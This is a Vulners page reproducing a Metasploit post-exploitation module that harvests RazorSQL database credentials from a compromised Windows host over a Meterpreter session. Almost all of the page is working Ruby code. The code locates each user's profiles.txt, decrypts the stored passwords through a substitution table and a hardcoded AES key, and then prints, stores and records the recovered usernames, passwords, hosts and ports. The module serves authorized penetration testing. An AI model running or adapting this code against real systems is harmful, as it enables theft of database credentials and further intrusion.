Lucene search
K

Windows Gather RazorSQL Credentials

🗓️ 15 Dec 2011 17:15:44Reported by Paul Rascagneres <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

This module stores username, password, type, host, port, database collected from profiles.txt of RazorSQL

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather RazorSQL Credentials',
        'Description' => %q{
          This module stores username, password, type, host, port, database (and name)
          collected from profiles.txt of RazorSQL.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Paul Rascagneres <rascagneres[at]itrust.lu>',
          'sinn3r' # Reporting, file parser
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  def get_profiles
    profiles = []
    grab_user_profiles.each do |user|
      next unless user['ProfileDir']

      ['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
        file = "#{user['ProfileDir']}\\#{profile_path}"
        profiles << file if file?(file)
      end
    end

    profiles
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    print_status('Checking All Users...')
    creds_tbl = Rex::Text::Table.new(
      'Header' => 'RazorSQL User Credentials',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'Password',
          'Type',
          'Host',
          'Port',
          'Database Name',
          'Database'
        ]
    )

    get_profiles.each do |profile_path|
      content = get_content(profile_path)
      next if content.blank?

      parse_content(creds_tbl, content).each do |cred|
        creds_tbl << cred
      end
    end

    if creds_tbl.rows.empty?
      print_status('No creds collected.')
    else
      path = store_loot(
        'razor.user.creds',
        'text/csv',
        session,
        creds_tbl.to_s,
        'razor_user_creds.txt',
        'RazorSQL User Credentials'
      )
      print_line(creds_tbl.to_s)
      print_status("User credentials stored in: #{path}")
    end
  end

  def get_content(file)
    found = begin
      session.fs.file.stat(file)
    rescue StandardError
      nil
    end
    return if !found

    content = ''
    infile = session.fs.file.new(file, 'rb')
    content << infile.read until infile.eof?
    return content
  end

  def parse_content(_table, content)
    creds = []
    content = content.split(/\(\(Z~\]/)
    content.each do |db|
      database = (db.scan(/database=(.*)/).flatten[0] || '').strip
      user = (db.scan(/user=(.*)/).flatten[0] || '').strip
      type = (db.scan(/type=(.*)/).flatten[0] || '').strip
      host = (db.scan(/host=(.*)/).flatten[0] || '').strip
      port = (db.scan(/port=(.*)/).flatten[0] || '').strip
      dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
      pass = (db.scan(/password=(.*)/).flatten[0] || '').strip

      # Decrypt if there's a password
      unless pass.blank?
        if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
          decrypted_pass = decrypt_v2(::Regexp.last_match(1))
        else
          decrypted_pass = decrypt(pass)
        end
      end

      pass = decrypted_pass || pass

      # Store data
      creds << [user, pass, type, host, port, dbname, database]

      # Don't report if there's nothing to report
      next if user.blank? && pass.blank?

      report_cred(
        ip: rhost,
        port: port.to_i,
        service_name: database,
        user: user,
        password: pass
      )
    end

    return creds
  end

  def decrypt(encrypted_password)
    magic_key = {
      '/' => 'a', '<' => 'b', '>' => 'c', ':' => 'd', 'X' => 'e',
      'c' => 'f', 'W' => 'g', 'd' => 'h', 'V' => 'i', 'e' => 'j',
      'f' => 'k', 'g' => 'l', 'U' => 'm', 'T' => 'n', 'S' => 'o',
      'n' => 'p', 'm' => 'q', 'l' => 'r', 'k' => 's', 'j' => 't',
      'i' => 'u', 'h' => 'v', 'P' => 'w', 'Q' => 'x', 'R' => 'y',
      'o' => 'z', 'p' => 'A', 'q' => 'B', 'r' => 'C', 't' => 'D',
      's' => 'E', 'L' => 'F', 'M' => 'H', 'O' => 'I', 'N' => 'J',
      'J' => 'K', 'v' => 'L', 'u' => 'M', 'z' => 'N', 'y' => 'O',
      'w' => 'P', 'x' => 'Q', 'G' => 'R', 'H' => 'S', 'A' => 'T',
      'B' => 'U', 'D' => 'V', 'C' => 'W', 'E' => 'X', 'F' => 'Y',
      'I' => 'Z', '?' => '1', '3' => '2', '4' => '3', '5' => '4',
      '6' => '5', '7' => '6', '8' => '7', '9' => '8', '2' => '9',
      '.' => '0', '+' => '+', '"' => '"', '*' => '*', '%' => '%',
      '&' => '&', 'Z' => '/', '(' => '(', ')' => ')', '=' => '=',
      ',' => '?', '!' => '!', '$' => '$', '-' => '-', '_' => '_',
      'b' => ':', '0' => '.', ';' => ';', '1' => ',', '\\' => '\\',
      'a' => '<', 'Y' => '>', "'" => "'", '^' => '^', '{' => '{',
      '}' => '}', '[' => '[', ']' => ']', '~' => '~', '`' => '`'
    }
    password = ''
    for letter in encrypted_password.chomp.each_char
      char = magic_key[letter]

      # If there's a nil, it indicates our decryption method does not work for this version.
      return nil if char.nil?

      password << char
    end

    password
  end

  def decrypt_v2(encrypted)
    enc = Rex::Text.decode_base64(encrypted)
    key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')

    aes = OpenSSL::Cipher.new('AES-128-CBC')
    aes.decrypt
    aes.key = key

    aes.update(enc) + aes.final
  end
end

=begin
http://www.razorsql.com/download.html
Tested on: v5.6.2 (win32)
=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation